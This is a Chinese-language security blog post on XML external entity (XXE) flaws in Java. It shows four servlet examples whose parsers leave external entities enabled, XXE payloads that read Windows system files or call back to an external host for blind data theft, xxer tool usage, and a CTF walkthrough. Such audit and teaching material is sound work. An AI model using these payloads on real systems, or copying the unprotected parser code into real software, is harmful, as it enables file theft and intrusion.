美文网首页
java xxe漏洞

java xxe漏洞

作者: 小小怪吃吃吃 | 来源:发表于2020-07-09 13:39 被阅读0次

    一、XXE漏洞简介

    1、XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。
    2、Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

    二、XXE相关基础概念

    1、XML:(可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
    2、DTD:(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
    3、实体ENTITY:XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

    三、java XXE审计函数

    1、XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

    javax.xml.parsers.DocumentBuilderFactory;
    javax.xml.parsers.SAXParser
    javax.xml.transform.TransformerFactory
    javax.xml.validation.Validator
    javax.xml.validation.SchemaFactory
    javax.xml.transform.sax.SAXTransformerFactory
    javax.xml.transform.sax.SAXSource
    org.xml.sax.XMLReader
    org.xml.sax.helpers.XMLReaderFactory
    org.dom4j.io.SAXReader
    org.jdom.input.SAXBuilder
    org.jdom2.input.SAXBuilder
    javax.xml.bind.Unmarshaller
    javax.xml.xpath.XpathExpression
    javax.xml.stream.XMLStreamReader
    org.apache.commons.digester3.Digester
    …………
    

    2、解析XML的方法越来越多,java中常见有四种,即:DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示java的XXE漏洞。
    (1)DOM Read XML

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
            String result="";
            try {
                //DOM Read XML
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     
                DocumentBuilder db = dbf.newDocumentBuilder();                  
                Document doc = db.parse(request.getInputStream());
    
                String username = getValueByTagName(doc,"username");
                String password = getValueByTagName(doc,"password");
                if(username.equals(USERNAME) && password.equals(PASSWORD)){
                    result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
                }else{
                    result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
                }
            } catch (ParserConfigurationException e) {
                e.printStackTrace();
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
            } catch (SAXException e) {
                e.printStackTrace();
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
            }
            response.setContentType("text/xml;charset=UTF-8");
            response.getWriter().append(result);
        }
    

    (2)DOM4J Read XML

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {          
            String result="";
            try {
                //DOM4J Read XML
                SAXReader saxReader = new SAXReader();
                Document document = saxReader.read(request.getInputStream());
    
                String username = getValueByTagName2(document,"username");
                String password = getValueByTagName2(document,"password");
    
                if(username.equals(USERNAME) && password.equals(PASSWORD)){
                    result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
                }else{
                    result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
                }                
    
            } catch (DocumentException  e) {
                System.out.println(e.getMessage());
            } 
            response.setContentType("text/xml;charset=UTF-8");
            response.getWriter().append(result);
        }
    

    (3)JDOM2 Read XML

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {             
            String result="";
            try {
                //JDOM2 Read XML    
                SAXBuilder builder = new SAXBuilder();  
                Document document = builder.build(request.getInputStream());
    
                String username = getValueByTagName3(document,"username");
                String password = getValueByTagName3(document,"password");
    
                if(username.equals(USERNAME) && password.equals(PASSWORD)){
                    result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
                }else{
                    result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
                }
    
            } catch (JDOMException  e) {
                System.out.println(e.getMessage());
            } 
            response.setContentType("text/xml;charset=UTF-8");
            response.getWriter().append(result);
        }
    

    (4)SAX Read XML

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
            //https://blog.csdn.net/u011024652/article/details/51516220
            String result="";
            try {
                //SAX Read XML
                SAXParserFactory factory  = SAXParserFactory.newInstance(); 
                SAXParser saxparser = factory.newSAXParser();  
                SAXHandler handler = new SAXHandler();  
                saxparser.parse(request.getInputStream(), handler);
                //为简单,没有提取子元素中的数据,只要调用parse()解析xml就已经触发xxe漏洞了
                //没有回显  blind xxe
                 result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);
    
            } catch (ParserConfigurationException e) {
                e.printStackTrace();
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
            } catch (SAXException e) {
                e.printStackTrace();
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
            }
            response.setContentType("text/xml;charset=UTF-8");
            response.getWriter().append(result);
        }
    

    四、常用测试POC

    1、当有回显时,利用file协议来读取文件。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE lltest[
    <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
    ]> 
    <user><username>&xxe;</username><password>123456</password></user>
    

    或者利用netdoc协议进行读取。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [
            <!ELEMENT creds ANY>
            <!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
            ]>
    <creds>&xxe;</creds>
    

    2、无回显时 利用http协议来发起请求。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note[ 
    <!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
    %lltest;
    ]>
    

    五、java-XXE漏洞工具利用

    1、xxer

    xxer.py -H kali.host.com

    2、JavaSearchTools 辅助人工审计,寻找java反序列化危险类的工具。

    第一步:首先用jd-gui反编译jar包还原代码,存储路径:C:\Users\afanti\Desktop\ctf-tools\jd-gui\weblogic
    第二步:java -jar SearchClassInJar.jar C:\Users\afanti\Desktop\ctf-tools\jd-gui\weblogic\

    六、XXE漏洞防御

    使用XML解析器时需要设置其属性,禁用DTDs或者禁止使用外部实体。

    七、题目实例-无回显读取本地敏感文件(Blind OOB XXE)

    外带请求读取文件
    1、Spring漏洞实例CVE-2018-1271:路径不一致漏洞的利用


    文件读取

    2、将files///../../home/ctf/app.jar下载,代码审计


    xxe漏洞发现
    xxe漏洞发现1
    (一个从源码审计的角度,另一个从包引用的角度)
    3、xxer利用,发现flag路径
    列目录

    4、读文件


    flag

    参考:
    1、https://xz.aliyun.com/t/2761
    2、https://blog.spoock.com/2018/10/23/java-xxe/
    3、https://www.cnblogs.com/tr1ple/p/12522623.html

    相关文章

      网友评论

          本文标题:java xxe漏洞

          本文链接:https://www.haomeiwen.com/subject/peqtcktx.html